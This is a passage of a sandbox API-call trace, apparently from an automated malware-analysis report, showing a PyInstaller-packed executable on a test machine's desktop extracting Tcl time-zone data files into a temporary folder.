returned 0x17 [0040.682] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.682] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.682] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.682] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.682] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.682] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.682] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.682] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.682] CloseHandle (hObject=0x10c) returned 1 [0040.682] GetLastError () returned 0x0 [0040.682] SetLastError (dwErrCode=0x0) [0040.682] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.682] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.683] GetFileType (hFile=0x10c) returned 0x1 [0040.683] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.683] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.683] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.683] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.683] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.683] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.683] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.683] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.683] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.683] CloseHandle (hObject=0x10c) returned 1 [0040.683] GetLastError () returned 0x0 [0040.683] SetLastError (dwErrCode=0x0) [0040.683] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.683] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.683] GetFileType (hFile=0x10c) returned 0x1 [0040.683] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.683] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.683] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.683] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.683] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.683] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.683] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.683] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.683] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.684] CloseHandle (hObject=0x10c) returned 1 [0040.684] GetLastError () returned 0x0 [0040.684] SetLastError (dwErrCode=0x0) [0040.684] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Shanghai") returned 70 [0040.684] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Shanghai" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\shanghai"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.684] GetLastError () returned 0x2 [0040.684] SetLastError (dwErrCode=0x2) [0040.684] GetLastError () returned 0x2 [0040.684] SetLastError (dwErrCode=0x2) [0040.684] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Shanghai", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Shanghai", lpFilePart=0x0) returned 0x45 [0040.684] GetLastError () returned 0x2 [0040.684] SetLastError (dwErrCode=0x2) [0040.684] GetLastError () returned 0x2 [0040.684] SetLastError (dwErrCode=0x2) [0040.684] GetLastError () returned 0x2 [0040.684] SetLastError (dwErrCode=0x2) [0040.684] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Shanghai") returned 70 [0040.684] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.684] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Shanghai" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\shanghai"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.684] GetFileType (hFile=0x10c) returned 0x1 [0040.684] htonl (hostlong=0x72020000) returned 0x272 [0040.687] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.687] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x272, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x272, lpOverlapped=0x0) returned 1 [0040.688] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.688] CloseHandle (hObject=0x10c) returned 1 [0040.688] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550700 | out: hHeap=0x530000) returned 1 [0040.688] htonl (hostlong=0x30000000) returned 0x30 [0040.688] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.688] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.688] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.688] GetFileType (hFile=0x10c) returned 0x1 [0040.688] htonl (hostlong=0xe61a5b00) returned 0x5b1ae6 [0040.688] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fcae6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.688] htonl (hostlong=0xdc000000) returned 0xdc [0040.688] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xdc) returned 0x550600 [0040.688] htonl (hostlong=0xdc000000) returned 0xdc [0040.688] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.688] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.688] htonl (hostlong=0x82010000) returned 0x182 [0040.688] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x182) returned 0x5506e8 [0040.689] htonl (hostlong=0xdc000000) returned 0xdc [0040.689] htonl (hostlong=0x82010000) returned 0x182 [0040.689] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.689] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.689] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.689] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.689] CloseHandle (hObject=0x10c) returned 1 [0040.689] GetLastError () returned 0x0 [0040.689] SetLastError (dwErrCode=0x0) [0040.689] GetLastError () returned 0x0 [0040.689] SetLastError (dwErrCode=0x0) [0040.689] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.689] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.689] GetFileType (hFile=0x10c) returned 0x1 [0040.689] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.689] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.689] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.689] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.689] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.689] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.689] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.689] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.689] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.689] CloseHandle (hObject=0x10c) returned 1 [0040.689] GetLastError () returned 0x0 [0040.689] SetLastError (dwErrCode=0x0) [0040.689] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.690] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.690] GetFileType (hFile=0x10c) returned 0x1 [0040.690] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.690] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.690] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.690] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.690] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.690] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.690] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.690] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.690] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.690] CloseHandle (hObject=0x10c) returned 1 [0040.690] GetLastError () returned 0x0 [0040.690] SetLastError (dwErrCode=0x0) [0040.690] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.690] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.690] GetFileType (hFile=0x10c) returned 0x1 [0040.690] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.690] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.690] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.690] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.690] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.690] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.690] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.690] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.691] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.691] CloseHandle (hObject=0x10c) returned 1 [0040.691] GetLastError () returned 0x0 [0040.691] SetLastError (dwErrCode=0x0) [0040.691] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Singapore") returned 71 [0040.691] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Singapore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\singapore"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.691] GetLastError () returned 0x2 [0040.691] SetLastError (dwErrCode=0x2) [0040.691] GetLastError () returned 0x2 [0040.691] SetLastError (dwErrCode=0x2) [0040.691] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Singapore", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Singapore", lpFilePart=0x0) returned 0x46 [0040.691] GetLastError () returned 0x2 [0040.691] SetLastError (dwErrCode=0x2) [0040.691] GetLastError () returned 0x2 [0040.691] SetLastError (dwErrCode=0x2) [0040.691] GetLastError () returned 0x2 [0040.691] SetLastError (dwErrCode=0x2) [0040.691] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Singapore") returned 71 [0040.691] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.691] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Singapore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\singapore"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.691] GetFileType (hFile=0x10c) returned 0x1 [0040.691] htonl (hostlong=0x82010000) returned 0x182 [0040.691] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.692] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x182, lpOverlapped=0x0) returned 1 [0040.692] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.692] CloseHandle (hObject=0x10c) returned 1 [0040.693] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5506e8 | out: hHeap=0x530000) returned 1 [0040.693] htonl (hostlong=0x30000000) returned 0x30 [0040.693] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.693] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.693] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.693] GetFileType (hFile=0x10c) returned 0x1 [0040.693] htonl (hostlong=0xc21b5b00) returned 0x5b1bc2 [0040.693] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fcbc2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.693] htonl (hostlong=0x63010000) returned 0x163 [0040.693] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x163) returned 0x550600 [0040.693] htonl (hostlong=0x63010000) returned 0x163 [0040.693] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.693] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.693] htonl (hostlong=0x11050000) returned 0x511 [0040.693] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x511) returned 0x55e278 [0040.693] htonl (hostlong=0x63010000) returned 0x163 [0040.693] htonl (hostlong=0x11050000) returned 0x511 [0040.693] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.693] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.693] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.693] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.693] CloseHandle (hObject=0x10c) returned 1 [0040.693] GetLastError () returned 0x0 [0040.693] SetLastError (dwErrCode=0x0) [0040.693] GetLastError () returned 0x0 [0040.694] SetLastError (dwErrCode=0x0) [0040.694] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.694] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.694] GetFileType (hFile=0x10c) returned 0x1 [0040.694] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.694] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.694] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.694] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.694] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.694] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.694] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.694] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.694] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.694] CloseHandle (hObject=0x10c) returned 1 [0040.694] GetLastError () returned 0x0 [0040.694] SetLastError (dwErrCode=0x0) [0040.694] 